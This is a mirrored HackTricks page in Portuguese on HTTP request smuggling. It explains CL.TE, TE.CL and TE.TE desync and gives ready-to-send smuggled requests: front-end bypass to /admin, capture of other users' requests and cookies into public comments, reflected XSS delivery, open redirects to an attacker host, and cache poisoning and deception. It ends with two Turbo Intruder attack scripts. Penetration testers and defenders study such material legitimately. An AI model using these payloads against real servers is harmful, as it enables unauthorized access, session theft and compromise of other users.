mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-02 00:08:49 +00:00
510 lines
30 KiB
Markdown
510 lines
30 KiB
Markdown
# HTTP Request Smuggling / Ataque de Desincronização HTTP
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
- Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
- **Compartilhe suas técnicas de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
## O que é
|
|
|
|
Essa vulnerabilidade ocorre quando uma **desincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** envie uma **requisição HTTP** que será **interpretada** como uma **única requisição** pelos **proxies de front-end** (balanceador de carga/proxy reverso) e **como 2 requisições** pelo **servidor de back-end**.\
|
|
Isso permite que um usuário **modifique a próxima requisição que chega ao servidor de back-end após a dele**.
|
|
|
|
### Teoria
|
|
|
|
[Especificação RFC (2161)](https://tools.ietf.org/html/rfc2616)
|
|
|
|
> Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, este último DEVE ser ignorado.
|
|
|
|
**Content-Length**
|
|
|
|
> O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.
|
|
|
|
**Transfer-Encoding: chunked**
|
|
|
|
> O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.\
|
|
> Chunked significa que dados grandes são enviados em uma série de chunks.
|
|
|
|
### Realidade
|
|
|
|
O **Front-End** (um balanceador de carga / Proxy Reverso) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor de Back-End** **processa o outro** provocando uma **desincronização** entre os 2 sistemas.\
|
|
Isso pode ser muito crítico, pois **um atacante poderá enviar uma requisição** para o proxy reverso que será **interpretada** pelo **servidor de back-end como 2 requisições diferentes**. O **perigo** dessa técnica reside no fato de que o **servidor de back-end interpretará a 2ª requisição injetada** como se ela **viesse do próximo cliente** e a **requisição real** desse cliente fará **parte** da **requisição injetada**.
|
|
|
|
### Particularidades
|
|
|
|
Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:**
|
|
|
|
- **Content-Length**: Esse cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da requisição**.
|
|
- **Transfer-Encoding:** Esse cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Esse método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
|
|
- **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do Request Smuggling.
|
|
|
|
## Exemplos Básicos
|
|
|
|
Portanto, os ataques de request smuggling envolvem colocar tanto o cabeçalho `Content-Length` quanto o cabeçalho `Transfer-Encoding` em uma única requisição HTTP e manipulá-los para que os servidores de front-end e back-end processem a requisição de maneira diferente. A forma exata como isso é feito depende do comportamento dos dois servidores:
|
|
|
|
- **CL.TE**: o servidor de front-end usa o cabeçalho `Content-Length` e o servidor de back-end usa o cabeçalho `Transfer-Encoding`.
|
|
- **TE.CL**: o servidor de front-end usa o cabeçalho `Transfer-Encoding` e o servidor de back-end usa o cabeçalho `Content-Length`.
|
|
- **TE.TE**: os servidores de front-end e back-end suportam o cabeçalho `Transfer-Encoding`, mas um dos servidores pode ser induzido a não processá-lo obfuscando o cabeçalho de alguma forma.
|
|
|
|
### Vulnerabilidades CL.TE
|
|
|
|
Aqui, o **servidor de front-end** usa o cabeçalho **`Content-Length`** e o **servidor de back-end** usa o cabeçalho **`Transfer-Encoding`**. Podemos realizar um simples ataque de request smuggling da seguinte forma:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
`Content-Length: 30`\
|
|
`Connection: keep-alive`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`GET /404 HTTP/1.1`\
|
|
`Foo: x`
|
|
|
|
Observe como o `Content-Length` indica que o **corpo da requisição tem 30 bytes de comprimento** (_lembre-se que o HTTP usa uma nova linha, então 2 bytes para cada nova linha_), então o proxy reverso **enviará a requisição completa** para o back-end, e o back-end processará o cabeçalho `Transfer-Encoding`, deixando o `GET /404 HTTP/1.1` como o **início da próxima requisição** (aliás, a próxima requisição será anexada a `Foo:x<Próxima requisição começa aqui>`).
|
|
|
|
### Vulnerabilidades TE.CL
|
|
|
|
Aqui, o servidor de front-end usa o cabeçalho `Transfer-Encoding` e o servidor de back-end usa o cabeçalho `Content-Length`. Podemos realizar um simples ataque de request smuggling da seguinte forma:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
`Content-Length: 4`\
|
|
`Connection: keep-alive`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\``\
|
|
`x=`\
|
|
`0`\
|
|
`\`
|
|
|
|
Neste caso, o **proxy reverso** vai **enviar toda a requisição** para o **back-end** conforme indicado pelo **`Transfer-encoding`**. Mas, o **back-end** vai **processar** apenas o **`7b`** (4 bytes) conforme indicado no `Content-Length`. Portanto, a próxima requisição será aquela que começa com `GET /404 HTTP/1.1`
|
|
|
|
_Obs.: mesmo que o ataque deva terminar com um `0`, a próxima requisição será anexada como valores extras do parâmetro **x**._\
|
|
_Também observe que o Content-Length da requisição incorporada indicará o comprimento da próxima requisição que será anexada ao parâmetro **x**. Se for muito pequeno, apenas alguns bytes serão anexados, e se for muito grande (maior que o comprimento da próxima requisição), um erro será gerado para a próxima requisição._
|
|
|
|
### Vulnerabilidades TE.TE
|
|
|
|
Aqui, os servidores de front-end e back-end suportam o cabeçalho `Transfer-Encoding`, mas um dos servidores pode ser induzido a não processá-lo obfuscando o cabeçalho de alguma forma.\
|
|
Existem potencialmente infinitas maneiras de obfuscar o cabeçalho `Transfer-Encoding`. Por exemplo:
|
|
|
|
`Transfer-Encoding: xchunked`\
|
|
``\ `Transfer-Encoding : chunked`\``\
|
|
`Transfer-Encoding: chunked`\
|
|
`Transfer-Encoding: x`\
|
|
``\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\``\
|
|
`Transfer-Encoding:[tab]chunked`\
|
|
``\ `[space]Transfer-Encoding: chunked`\``\
|
|
`X: X[\n]Transfer-Encoding: chunked`\
|
|
\`\`\
|
|
`Transfer-Encoding`\
|
|
`: chunked`
|
|
|
|
Dependendo do servidor (proxy reverso ou de apoio) que **para de processar** o cabeçalho **TE**, você encontrará uma **vulnerabilidade CL.TE** ou uma **vulnerabilidade TE.CL**.
|
|
|
|
## Encontrando HTTP Request Smuggling
|
|
|
|
### Encontrando vulnerabilidades CL.TE usando técnicas de temporização
|
|
|
|
Se uma aplicação for vulnerável à variante CL.TE de request smuggling, então enviar uma requisição como a seguinte frequentemente causará um atraso de tempo:
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Transfer-Encoding: chunked
|
|
Connection: keep-alive
|
|
Content-Length: 4
|
|
|
|
1
|
|
A
|
|
0
|
|
```
|
|
Uma vez que o servidor front-end utiliza o cabeçalho `Content-Length`, ele encaminhará apenas parte desta solicitação, omitindo o `0`. O servidor back-end utiliza o cabeçalho `Transfer-Encoding`, processa o primeiro chunk e depois aguarda a chegada do próximo chunk. Isso causará um atraso de tempo observável.
|
|
|
|
Às vezes, em vez de receber um timeout, você recebe um erro 400 bad request do host final, como no seguinte cenário, onde um payload CL.TE é enviado:
|
|
|
|
![](<../../.gitbook/assets/image (444).png>)
|
|
|
|
E a resposta é um redirecionamento contendo um erro no corpo, inclusive a versão do haproxy utilizada:
|
|
|
|
![](<../../.gitbook/assets/image (443).png>)
|
|
|
|
### Encontrando vulnerabilidades TE.CL usando técnicas de temporização
|
|
|
|
Se uma aplicação for vulnerável à variante TE.CL de request smuggling, enviar uma solicitação como a seguinte frequentemente causará um atraso de tempo:
|
|
```
|
|
POST / HTTP/1.1
|
|
Host: vulnerable-website.com
|
|
Transfer-Encoding: chunked
|
|
Connection: keep-alive
|
|
Content-Length: 6
|
|
|
|
0
|
|
X
|
|
```
|
|
Uma vez que o servidor front-end utiliza o cabeçalho `Transfer-Encoding`, ele encaminhará apenas parte dessa solicitação, omitindo o `X`. O servidor back-end utiliza o cabeçalho `Content-Length`, espera mais conteúdo no corpo da mensagem e aguarda a chegada do restante do conteúdo. Isso causará um atraso de tempo observável.
|
|
|
|
### Sondando vulnerabilidades de Request Smuggling HTTP
|
|
|
|
Depois de descobrir que as **técnicas de temporização estão funcionando**, você precisa **verificar** se pode **alterar as solicitações de outros clientes**.\
|
|
A maneira mais fácil de fazer isso é tentar envenenar suas próprias solicitações, **fazendo uma solicitação para `/` retornar um 404, por exemplo**.\
|
|
Nos [Exemplos Básicos](./#basic-examples) já vimos exemplos de `CL.TE` e `TE.CL` de como envenenar uma solicitação de um cliente para solicitar `/404`, provocando uma resposta 404 quando o cliente estava solicitando qualquer outro recurso.
|
|
|
|
**Notas**
|
|
|
|
Algumas considerações importantes devem ser mantidas em mente ao tentar confirmar vulnerabilidades de request smuggling via interferência com outras solicitações:
|
|
|
|
* A solicitação "de ataque" e a solicitação "normal" devem ser enviadas ao servidor usando conexões de rede diferentes. Enviar ambas as solicitações pela mesma conexão não provará que a vulnerabilidade existe.
|
|
* A solicitação "de ataque" e a solicitação "normal" devem usar o mesmo URL e nomes de parâmetros, na medida do possível. Isso ocorre porque muitas aplicações modernas roteiam solicitações front-end para diferentes servidores back-end com base no URL e nos parâmetros. Usar o mesmo URL e parâmetros aumenta a chance de que as solicitações sejam processadas pelo mesmo servidor back-end, o que é essencial para o ataque funcionar.
|
|
* Ao testar a solicitação "normal" para detectar qualquer interferência da solicitação "de ataque", você está em uma corrida com quaisquer outras solicitações que a aplicação esteja recebendo ao mesmo tempo, incluindo aquelas de outros usuários. Você deve enviar a solicitação "normal" imediatamente após a solicitação "de ataque". Se a aplicação estiver ocupada, talvez seja necessário realizar várias tentativas para confirmar a vulnerabilidade.
|
|
* Em algumas aplicações, o servidor front-end funciona como um balanceador de carga e encaminha solicitações para diferentes sistemas back-end de acordo com algum algoritmo de balanceamento de carga. Se suas solicitações "de ataque" e "normais" forem encaminhadas para diferentes sistemas back-end, o ataque falhará. Esta é uma razão adicional pela qual você pode precisar tentar várias vezes antes que uma vulnerabilidade possa ser confirmada.
|
|
* Se seu ataque tiver sucesso em interferir em uma solicitação subsequente, mas esta não foi a solicitação "normal" que você enviou para detectar a interferência, isso significa que outro usuário da aplicação foi afetado pelo seu ataque. Se você continuar realizando o teste, isso poderá ter um efeito disruptivo sobre outros usuários, e você deve agir com cautela.
|
|
|
|
### Forçando via cabeçalhos hop-by-hop
|
|
|
|
Abusando dos cabeçalhos hop-by-hop, você poderia indicar ao proxy para **excluir o cabeçalho Content-Length ou Transfer-Encoding para que um HTTP request smuggling seja possível de ser abusado**.
|
|
```
|
|
Connection: Content-Length
|
|
```
|
|
Para **mais informações sobre cabeçalhos hop-by-hop**, visite:
|
|
|
|
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
|
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Abusando do HTTP Request Smuggling
|
|
|
|
### Para burlar controles de segurança front-end
|
|
|
|
Às vezes, os **proxies front-end realizarão algumas verificações de segurança**. Você pode evitá-los abusando do HTTP Request Smuggling, pois será capaz de **burlar as proteções**. Por exemplo, neste caso você **não pode acessar `/admin` externamente** e o proxy front-end está verificando isso, mas este **proxy não está verificando a solicitação incorporada**:
|
|
|
|
**CL.TE**
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net`\
|
|
`Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr`\
|
|
`Connection: keep-alive`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
`Content-Length: 67`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`GET /admin HTTP/1.1`\
|
|
`Host: localhost`\
|
|
`Content-Length: 10`\
|
|
\`\`\
|
|
`x=`
|
|
|
|
**TE.CL**
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net`\
|
|
`Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
`Connection: keep-alive`\
|
|
`Content-Length: 4`\
|
|
`Transfer-Encoding: chunked`\
|
|
`2b`\
|
|
`GET /admin HTTP/1.1`\
|
|
`Host: localhost`\
|
|
`a=x`\
|
|
`0`\
|
|
`\`
|
|
|
|
### Revelando a reescrita de solicitação front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
|
|
|
Em muitas aplicações, o **servidor front-end realiza alguma reescrita de solicitações** antes de serem encaminhadas para o servidor back-end, geralmente adicionando alguns cabeçalhos de solicitação adicionais.\
|
|
Uma coisa comum a fazer é **adicionar ao cabeçalho da solicitação** `X-Forwarded-For: <IP do cliente>` ou algum cabeçalho semelhante para que o back-end saiba o IP do cliente.\
|
|
Às vezes, se você puder **encontrar quais novos valores são anexados** à solicitação, você pode ser capaz de **burlar proteções** e **acessar informações/endpoints ocultos**.
|
|
|
|
Para descobrir como o proxy está reescrevendo a solicitação, você precisa **encontrar um parâmetro POST que o back-end refletirá seu valor** na resposta. Em seguida, use este parâmetro como o último e use um exploit como este:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
`Content-Length: 130`\
|
|
`Connection: keep-alive`\
|
|
`Transfer-Encoding: chunked`\
|
|
`0`\
|
|
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
|
|
`search=`
|
|
|
|
Neste caso, a próxima solicitação será anexada após `search=`, que é também **o parâmetro cujo valor será refletido** na resposta, portanto, ele vai **refletir os cabeçalhos da próxima solicitação**.
|
|
|
|
Observe que **apenas o comprimento indicado no cabeçalho `Content-Length` da solicitação incorporada será refletido**. Se você usar um número baixo, apenas alguns bytes serão refletidos, se você usar um número maior do que o comprimento de todos os cabeçalhos, então a solicitação incorporada lançará um erro. Portanto, você deve **começar** com um **número pequeno** e **aumentá-lo** até ver tudo o que deseja ver.\
|
|
Observe também que esta **técnica também é explorável com uma vulnerabilidade TE.CL**, mas a solicitação deve terminar com `search=\r\n0`. No entanto, independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
|
|
|
|
Finalmente, observe que neste ataque ainda estamos nos atacando para aprender como o proxy front-end está reescrevendo a solicitação.
|
|
|
|
### Capturando solicitações de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
|
|
|
Se você encontrar uma solicitação POST que vai salvar o conteúdo de um dos parâmetros, você pode anexar a seguinte solicitação como o valor desse parâmetro para armazenar a solicitação do próximo cliente:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
`Content-Length: 319`\
|
|
`Connection: keep-alive`\
|
|
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`POST /post/comment HTTP/1.1`\
|
|
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
|
|
`Content-Length: 659`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
|
|
\`\`\
|
|
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
|
|
|
|
Neste caso, o valor do **parâmetro comentário** será **salvo dentro de um comentário** de uma postagem na página que é **publicamente acessível**, então um **comentário aparecerá com o conteúdo da próxima solicitação**.
|
|
|
|
_Uma limitação desta técnica é que geralmente só capturará dados até o delimitador de parâmetros aplicável à solicitação contrabandeada. Para envios de formulários codificados em URL, isso será o caractere `&`, o que significa que o conteúdo armazenado da solicitação do usuário vítima terminará no primeiro `&`, que pode até mesmo aparecer na string de consulta._
|
|
|
|
Observe também que esta **técnica também é explorável com uma vulnerabilidade TE.CL**, mas a solicitação deve terminar com `search=\r\n0`. No entanto, independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
|
|
|
|
### Usando HTTP request smuggling para explorar XSS refletido
|
|
|
|
Se a página da web também for **vulnerável a XSS refletido**, você pode abusar do HTTP Request Smuggling para atacar os clientes da web. A exploração de XSS refletido a partir do HTTP Request Smuggling tem algumas vantagens:
|
|
|
|
* **Não requer interação com usuários vítimas**
|
|
* Pode ser usado para **explorar** o comportamento de XSS em partes da solicitação que **não podem ser controladas facilmente em um ataque de XSS refletido normal**, como cabeçalhos de solicitação HTTP.
|
|
|
|
Se um site for vulnerável a XSS refletido no cabeçalho User-Agent, você pode usar esta carga útil para explorá-lo:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
|
|
`User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0`\
|
|
`Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY`\
|
|
`Transfer-Encoding: chunked`\
|
|
`Connection: keep-alive`\
|
|
`Content-Length: 213`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
``\ `0`\``\
|
|
`GET /post?postId=2 HTTP/1.1`\
|
|
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
|
|
`User-Agent: "><script>alert(1)</script>`\
|
|
`Content-Length: 10`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
\`\`\
|
|
`A=`
|
|
|
|
### Usando HTTP request smuggling para transformar um redirecionamento no local em um redirecionamento aberto <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
|
|
|
Muitas aplicações realizam redirecionamentos no local de uma URL para outra e colocam o nome do host do cabeçalho `Host` da solicitação no URL de redirecionamento. Um exemplo disso é o comportamento padrão dos servidores web Apache e IIS, onde uma solicitação para uma pasta sem uma barra final recebe um redirecionamento para a mesma pasta incluindo a barra final:
|
|
|
|
`GET /home HTTP/1.1`\
|
|
`Host: normal-website.com`\
|
|
\`\`\
|
|
`HTTP/1.1 301 Moved Permanently`\
|
|
`Location: https://normal-website.com/home/`
|
|
|
|
Esse comportamento é normalmente considerado inofensivo, mas pode ser explorado em um ataque de smuggling para redirecionar outros usuários para um domínio externo. Por exemplo:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
`Content-Length: 54`\
|
|
`Connection: keep-alive`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`GET /home HTTP/1.1`\
|
|
`Host: attacker-website.com`\
|
|
`Foo: X`
|
|
|
|
A solicitação contrabandeada acionará um redirecionamento para o site do atacante, o que afetará a solicitação do próximo usuário que é processada pelo servidor back-end. Por exemplo:
|
|
|
|
`GET /home HTTP/1.1`\
|
|
`Host: attacker-website.com`\
|
|
`Foo: XGET /scripts/include.js HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
\`\`\
|
|
`HTTP/1.1 301 Moved Permanently`\
|
|
`Location: https://attacker-website.com/home/`
|
|
|
|
Aqui, a solicitação do usuário era para um arquivo JavaScript que foi importado por uma página no site. O atacante pode comprometer totalmente o usuário vítima retornando seu próprio JavaScript na resposta.
|
|
|
|
### Usando HTTP request smuggling para realizar envenenamento de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
|
|
|
Se alguma parte da **infraestrutura front-end realizar o cache de conteúdo** (geralmente por motivos de desempenho), **pode ser possível envenenar esse cache modificando a resposta do servidor**.
|
|
|
|
Já vimos como modificar o valor retornado esperado do servidor para um 404 (nos [Exemplos Básicos](./#basic-examples)), de forma semelhante, você poderia fazer o servidor retornar o conteúdo de /index.html quando a solicitação envenenada estiver pedindo por `/static/include.js`. Dessa forma, o conteúdo do `/static/include.js` será armazenado com o conteúdo de `/index.html`, tornando `/static/include.js` inacessível para os clientes (DoS?).
|
|
|
|
Observe que isso é ainda mais interessante se você encontrar algum **Redirecionamento Aberto** ou algum **redirecionamento no local para redirecionamento aberto** (última seção). Porque, você poderia ser capaz de **alterar os valores de cache** de `/static/include.js` com os **de um script controlado por você** (fazendo um **XSS geral para todos os clientes** que tentarem baixar a nova versão de `/static/include.js`).
|
|
|
|
Neste exemplo, será mostrado como você pode explorar um **envenenamento de cache + redirecionamento no local para redirecionamento aberto** para modificar o conteúdo do cache de `/static/include.js` para **servir código JS controlado** pelo atacante:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: vulnerable.net`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
`Connection: keep-alive`\
|
|
`Content-Length: 124`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`GET /post/next?postId=3 HTTP/1.1`\
|
|
`Host: attacker.net`\
|
|
`Content-Type: application/x-www-form-urlencoded`\
|
|
`Content-Length: 10`\
|
|
\`\`\
|
|
`x=1`
|
|
|
|
Observe como a solicitação incorporada está pedindo `/post/next?postId=3`. Esta solicitação será redirecionada para `/post?postId=4` e **usará o valor do cabeçalho Host** para indicar o domínio. Portanto, você pode **modificar o cabeçalho Host** para apontar para o servidor do atacante e o redirecionamento usará esse domínio (**redirecionamento no local para redirecionamento aberto**).
|
|
|
|
Então, **após envenenar o socket**, você precisa enviar uma **solicitação GET** para \*\*`/static/include.js`\*\* esta solicitação será **envenenada** pela solicitação **redirecionamento no local para redirecionamento aberto** e **pegará o conteúdo do script controlado pelo atacante**.
|
|
|
|
Na próxima vez que alguém solicitar `/static/include.js`, o conteúdo em cache do script do atacante será servido (XSS geral).
|
|
|
|
### Usando HTTP request smuggling para realizar a decepção de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
|
|
|
> **Qual é a diferença entre envenenamento de cache web e decepção de cache web?**
|
|
>
|
|
> * No **envenenamento de cache web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e este conteúdo é servido do cache para outros usuários da aplicação.
|
|
> * Na **decepção de cache web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera este conteúdo do cache.
|
|
|
|
Nesta variante, o atacante contrabandeia uma solicitação que retorna algum conteúdo sensível específico do usuário. Por exemplo:
|
|
|
|
`POST / HTTP/1.1`\
|
|
`Host: vulnerable-website.com`\
|
|
`Connection: keep-alive`\
|
|
`Content-Length: 43`\
|
|
`Transfer-Encoding: chunked`\
|
|
``\ `0`\``\
|
|
`GET /private/messages HTTP/1.1`\
|
|
`Foo: X`
|
|
|
|
Se o **envenenamento atingir um cliente que estava acessando algum conteúdo estático** como `/someimage.png` que seria **armazenado em cache**. O conteúdo de `/private/messages` da vítima será armazenado em `/someimage.png` e o atacante poderá roubá-lo.\
|
|
Observe que o **atacante não sabe qual conteúdo estático o usuário vítima estava tentando acessar** então provavelmente a melhor maneira de testar isso é realizar o ataque, esperar alguns segundos e **carregar todos** os conteúdos estáticos e **procurar pelos dados privados**.
|
|
|
|
### Armando o HTTP Request Smuggling com Desincronização de Resposta HTTP
|
|
|
|
Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la. Experimente este outro método de exploração:
|
|
|
|
{% content-ref url="../http-response-smuggling-desync.md" %}
|
|
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Scripts do Turbo Intruder
|
|
|
|
### CL.TE
|
|
|
|
De [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
|
```python
|
|
def queueRequests(target, wordlists):
|
|
|
|
engine = RequestEngine(endpoint=target.endpoint,
|
|
concurrentConnections=5,
|
|
requestsPerConnection=1,
|
|
resumeSSL=False,
|
|
timeout=10,
|
|
pipeline=False,
|
|
maxRetriesPerRequest=0,
|
|
engine=Engine.THREADED,
|
|
)
|
|
engine.start()
|
|
|
|
attack = '''POST / HTTP/1.1
|
|
Transfer-Encoding: chunked
|
|
Host: xxx.com
|
|
Content-Length: 35
|
|
Foo: bar
|
|
|
|
0
|
|
|
|
GET /admin7 HTTP/1.1
|
|
X-Foo: k'''
|
|
|
|
engine.queue(attack)
|
|
|
|
victim = '''GET / HTTP/1.1
|
|
Host: xxx.com
|
|
|
|
'''
|
|
for i in range(14):
|
|
engine.queue(victim)
|
|
time.sleep(0.05)
|
|
|
|
def handleResponse(req, interesting):
|
|
table.add(req)
|
|
```
|
|
### TE.CL
|
|
|
|
De: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
|
```python
|
|
def queueRequests(target, wordlists):
|
|
engine = RequestEngine(endpoint=target.endpoint,
|
|
concurrentConnections=5,
|
|
requestsPerConnection=1,
|
|
resumeSSL=False,
|
|
timeout=10,
|
|
pipeline=False,
|
|
maxRetriesPerRequest=0,
|
|
engine=Engine.THREADED,
|
|
)
|
|
engine.start()
|
|
|
|
attack = '''POST / HTTP/1.1
|
|
Host: xxx.com
|
|
Content-Length: 4
|
|
Transfer-Encoding : chunked
|
|
|
|
46
|
|
POST /nothing HTTP/1.1
|
|
Host: xxx.com
|
|
Content-Length: 15
|
|
|
|
kk
|
|
0
|
|
|
|
'''
|
|
engine.queue(attack)
|
|
|
|
victim = '''GET / HTTP/1.1
|
|
Host: xxx.com
|
|
|
|
'''
|
|
for i in range(14):
|
|
engine.queue(victim)
|
|
time.sleep(0.05)
|
|
|
|
|
|
def handleResponse(req, interesting):
|
|
table.add(req)
|
|
```
|
|
## Mais informações
|
|
|
|
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
|
|
|
[Imagem daqui.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
|
|
|
|
## Ferramentas
|
|
|
|
* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
|
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
|
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
|
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
|
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas de smuggling de solicitação.
|
|
|
|
## Referências
|
|
|
|
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
|
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
|
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
|
|
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
|
|
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
|
|
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
|
|
